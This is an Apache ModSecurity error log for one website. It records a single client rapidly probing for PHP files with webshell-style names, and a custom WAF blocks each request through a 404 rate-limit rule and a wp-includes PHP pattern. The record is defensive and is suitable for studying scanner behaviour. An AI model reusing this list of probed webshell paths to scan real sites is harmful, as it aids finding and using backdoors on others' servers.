[Fri Apr 03 21:46:10.265491 2026] [:error] [pid 35469:tid 35482] [client 172.161.140.213:12375] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "ac_EoqGvTIc8-wY3jUSstQAAAQs"]
[Fri Apr 03 21:46:10.825679 2026] [:error] [pid 55174:tid 55198] [client 172.161.140.213:1553] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "ac_Eop_WKqUonPNUHYz9MwAAAdY"]
[Fri Apr 03 21:46:11.357545 2026] [:error] [pid 35469:tid 35477] [client 172.161.140.213:10200] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "ac_Eo6GvTIc8-wY3jUSsvAAAAQY"]
[Fri Apr 03 21:46:11.934174 2026] [:error] [pid 55174:tid 55195] [client 172.161.140.213:24540] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "ac_Eo5_WKqUonPNUHYz9NwAAAdM"]
[Fri Apr 03 21:46:12.718270 2026] [:error] [pid 35469:tid 35483] [client 172.161.140.213:32882] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/network.php"] [unique_id "ac_EpKGvTIc8-wY3jUSszwAAAQw"]
[Fri Apr 03 21:46:13.312507 2026] [:error] [pid 33445:tid 33454] [client 172.161.140.213:29001] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/network.php"] [unique_id "ac_EpVlRNZ0iDVmJWM0WYQAAAAQ"]
[Fri Apr 03 21:46:15.117250 2026] [:error] [pid 40562:tid 40579] [client 172.161.140.213:24535] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/network.php"] [unique_id "ac_EpzfFMXuP9zvqCeqPvgAAAY4"]
[Fri Apr 03 21:46:15.682375 2026] [:error] [pid 55174:tid 55181] [client 172.161.140.213:1591] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/network.php"] [unique_id "ac_Ep5_WKqUonPNUHYz9QgAAAcU"]
[Fri Apr 03 21:46:16.353334 2026] [:error] [pid 35469:tid 35475] [client 172.161.140.213:10434] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aifa.php"] [unique_id "ac_EqKGvTIc8-wY3jUSs8AAAAQQ"]
[Fri Apr 03 21:46:16.861507 2026] [:error] [pid 40533:tid 40542] [client 172.161.140.213:19099] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aifa.php"] [unique_id "ac_EqPbIAA8AViDmwsuz3wAAAUc"]
[Fri Apr 03 21:46:17.458905 2026] [:error] [pid 35469:tid 35487] [client 172.161.140.213:1575] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aifa.php"] [unique_id "ac_EqaGvTIc8-wY3jUStAwAAARA"]
[Fri Apr 03 21:46:17.975499 2026] [:error] [pid 40533:tid 40541] [client 172.161.140.213:50881] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aifa.php"] [unique_id "ac_EqfbIAA8AViDmwsuz4AAAAUY"]
[Fri Apr 03 21:46:18.644355 2026] [:error] [pid 35469:tid 35484] [client 172.161.140.213:13666] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/opts.php"] [unique_id "ac_EqqGvTIc8-wY3jUStFQAAAQ0"]
[Fri Apr 03 21:46:19.310252 2026] [:error] [pid 33445:tid 33470] [client 172.161.140.213:24546] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/opts.php"] [unique_id "ac_Eq1lRNZ0iDVmJWM0WdQAAABQ"]
[Fri Apr 03 21:46:19.831424 2026] [:error] [pid 33445:tid 33458] [client 172.161.140.213:29003] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/opts.php"] [unique_id "ac_Eq1lRNZ0iDVmJWM0WeAAAAAg"]
[Fri Apr 03 21:46:20.868557 2026] [:error] [pid 33446:tid 33483] [client 172.161.140.213:10209] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/opts.php"] [unique_id "ac_ErNg3dCqFYIIdw0p7QQAAAEY"]
[Fri Apr 03 21:46:21.376808 2026] [:error] [pid 40562:tid 40586] [client 172.161.140.213:39816] [client 172.161.140.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/app.php"] [unique_id "ac_ErTfFMXuP9zvqCeqPyAAAAZU"]
[Fri Apr 03 21:46:22.070404 2026] [:error] [pid 35469:tid 35492] [client 172.161.140.213:24568] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/444.php"] [unique_id "ac_ErqGvTIc8-wY3jUStJwAAARU"]
[Fri Apr 03 21:46:22.985367 2026] [:error] [pid 33446:tid 33490] [client 172.161.140.213:24539] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/444.php"] [unique_id "ac_Ertg3dCqFYIIdw0p7RQAAAE0"]
[Fri Apr 03 21:46:23.770361 2026] [:error] [pid 33446:tid 33477] [client 172.161.140.213:19108] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/444.php"] [unique_id "ac_Er9g3dCqFYIIdw0p7TwAAAEA"]
[Fri Apr 03 21:46:24.284445 2026] [:error] [pid 35469:tid 35490] [client 172.161.140.213:32928] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lites.php"] [unique_id "ac_EsKGvTIc8-wY3jUStNQAAARM"]
[Fri Apr 03 21:46:24.785880 2026] [:error] [pid 35469:tid 35479] [client 172.161.140.213:39841] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lites.php"] [unique_id "ac_EsKGvTIc8-wY3jUStOQAAAQg"]
[Fri Apr 03 21:46:25.439548 2026] [:error] [pid 35469:tid 35474] [client 172.161.140.213:15514] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lites.php"] [unique_id "ac_EsaGvTIc8-wY3jUStQAAAAQM"]
[Fri Apr 03 21:46:26.110781 2026] [:error] [pid 40533:tid 40543] [client 172.161.140.213:50937] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lites.php"] [unique_id "ac_EsvbIAA8AViDmwsuz5gAAAUg"]
[Fri Apr 03 21:46:26.988781 2026] [:error] [pid 40562:tid 40573] [client 172.161.140.213:30103] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "ac_EsjfFMXuP9zvqCeqP1AAAAYg"]
[Fri Apr 03 21:46:27.661846 2026] [:error] [pid 33446:tid 33491] [client 172.161.140.213:1562] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "ac_Es9g3dCqFYIIdw0p7YwAAAE4"]
[Fri Apr 03 21:46:28.579070 2026] [:error] [pid 55174:tid 55181] [client 172.161.140.213:24575] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "ac_EtJ_WKqUonPNUHYz9SwAAAcU"]
[Fri Apr 03 21:46:29.308478 2026] [:error] [pid 40562:tid 40571] [client 172.161.140.213:50917] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "ac_EtTfFMXuP9zvqCeqP1wAAAYY"]
[Fri Apr 03 21:46:30.118405 2026] [:error] [pid 33445:tid 33464] [client 172.161.140.213:29511] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "ac_EtllRNZ0iDVmJWM0WhgAAAA4"]
[Fri Apr 03 21:46:31.050616 2026] [:error] [pid 35469:tid 35481] [client 172.161.140.213:1536] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "ac_Et6GvTIc8-wY3jUStTQAAAQo"]
[Fri Apr 03 21:46:31.884977 2026] [:error] [pid 40562:tid 40582] [client 172.161.140.213:18898] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "ac_EtzfFMXuP9zvqCeqP3wAAAZE"]
[Fri Apr 03 21:46:33.781862 2026] [:error] [pid 33446:tid 33498] [client 172.161.140.213:24571] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "ac_Eudg3dCqFYIIdw0p7agAAAFU"]
[Fri Apr 03 21:46:40.431884 2026] [:error] [pid 55174:tid 55180] [client 172.161.140.213:15527] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/JKydQumkIarjMJ4default.php"] [unique_id "ac_EwJ_WKqUonPNUHYz9WAAAAcQ"]
[Fri Apr 03 21:46:42.430780 2026] [:error] [pid 55174:tid 55199] [client 172.161.140.213:13592] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/JKydQumkIarjMJ4default.php"] [unique_id "ac_Ewp_WKqUonPNUHYz9YgAAAdc"]
[Fri Apr 03 21:46:43.138576 2026] [:error] [pid 55174:tid 55200] [client 172.161.140.213:1822] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/JKydQumkIarjMJ4default.php"] [unique_id "ac_Ew5_WKqUonPNUHYz9ZAAAAdg"]
[Fri Apr 03 21:46:43.684205 2026] [:error] [pid 35469:tid 35485] [client 172.161.140.213:15515] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/JKydQumkIarjMJ4default.php"] [unique_id "ac_Ew6GvTIc8-wY3jUStdwAAAQ4"]
[Fri Apr 03 21:46:44.280070 2026] [:error] [pid 33446:tid 33498] [client 172.161.140.213:39840] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/he.php"] [unique_id "ac_ExNg3dCqFYIIdw0p7eAAAAFU"]
[Fri Apr 03 21:46:44.804766 2026] [:error] [pid 55174:tid 55196] [client 172.161.140.213:9408] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/he.php"] [unique_id "ac_ExJ_WKqUonPNUHYz9ZwAAAdQ"]
[Fri Apr 03 21:46:45.319193 2026] [:error] [pid 33446:tid 33500] [client 172.161.140.213:39813] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/he.php"] [unique_id "ac_Exdg3dCqFYIIdw0p7eQAAAFc"]
[Fri Apr 03 21:46:45.960284 2026] [:error] [pid 55174:tid 55190] [client 172.161.140.213:13594] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/he.php"] [unique_id "ac_ExZ_WKqUonPNUHYz9cQAAAc4"]
[Fri Apr 03 21:46:46.508739 2026] [:error] [pid 33446:tid 33488] [client 172.161.140.213:10152] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "ac_Extg3dCqFYIIdw0p7ewAAAEs"]
[Fri Apr 03 21:46:47.191154 2026] [:error] [pid 40562:tid 40570] [client 172.161.140.213:10131] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "ac_ExzfFMXuP9zvqCeqP5QAAAYU"]
[Fri Apr 03 21:46:47.974063 2026] [:error] [pid 33447:tid 33509] [client 172.161.140.213:18935] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "ac_Ex0gaPmDHz92j4lNTtAAAAIU"]
[Fri Apr 03 21:46:48.575243 2026] [:error] [pid 33447:tid 33508] [client 172.161.140.213:20921] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "ac_EyEgaPmDHz92j4lNTtgAAAIQ"]
[Fri Apr 03 21:46:49.153437 2026] [:error] [pid 33445:tid 33467] [client 172.161.140.213:17899] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwq13.php"] [unique_id "ac_EyVlRNZ0iDVmJWM0WrQAAABE"]
[Fri Apr 03 21:46:49.652074 2026] [:error] [pid 33446:tid 33491] [client 172.161.140.213:18615] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwq13.php"] [unique_id "ac_Eydg3dCqFYIIdw0p7gwAAAE4"]
[Fri Apr 03 21:46:50.214478 2026] [:error] [pid 35469:tid 35483] [client 172.161.140.213:20867] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwq13.php"] [unique_id "ac_EyqGvTIc8-wY3jUSthgAAAQw"]
[Fri Apr 03 21:46:50.944438 2026] [:error] [pid 35469:tid 35494] [client 172.161.140.213:1582] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwq13.php"] [unique_id "ac_EyqGvTIc8-wY3jUStigAAARc"]
[Fri Apr 03 21:46:51.438048 2026] [:error] [pid 33447:tid 33513] [client 172.161.140.213:18676] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/marijuana.php"] [unique_id "ac_Ey0gaPmDHz92j4lNTuQAAAIk"]
[Fri Apr 03 21:46:51.938903 2026] [:error] [pid 33446:tid 33479] [client 172.161.140.213:29533] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/marijuana.php"] [unique_id "ac_Ey9g3dCqFYIIdw0p7iwAAAEI"]
[Fri Apr 03 21:46:52.430996 2026] [:error] [pid 33446:tid 33477] [client 172.161.140.213:29558] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/marijuana.php"] [unique_id "ac_EzNg3dCqFYIIdw0p7jAAAAEA"]
[Fri Apr 03 21:46:53.052904 2026] [:error] [pid 55174:tid 55185] [client 172.161.140.213:10130] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/marijuana.php"] [unique_id "ac_EzZ_WKqUonPNUHYz9eQAAAck"]
[Fri Apr 03 21:46:53.581607 2026] [:error] [pid 35469:tid 35471] [client 172.161.140.213:13071] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "ac_EzaGvTIc8-wY3jUStjgAAAQA"]
[Fri Apr 03 21:46:54.160231 2026] [:error] [pid 40562:tid 40580] [client 172.161.140.213:17875] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "ac_EzjfFMXuP9zvqCeqP7QAAAY8"]
[Fri Apr 03 21:46:54.666429 2026] [:error] [pid 55174:tid 55181] [client 172.161.140.213:18633] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "ac_Ezp_WKqUonPNUHYz9fQAAAcU"]
[Fri Apr 03 21:46:55.201647 2026] [:error] [pid 55174:tid 55195] [client 172.161.140.213:10123] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "ac_Ez5_WKqUonPNUHYz9gAAAAdM"]
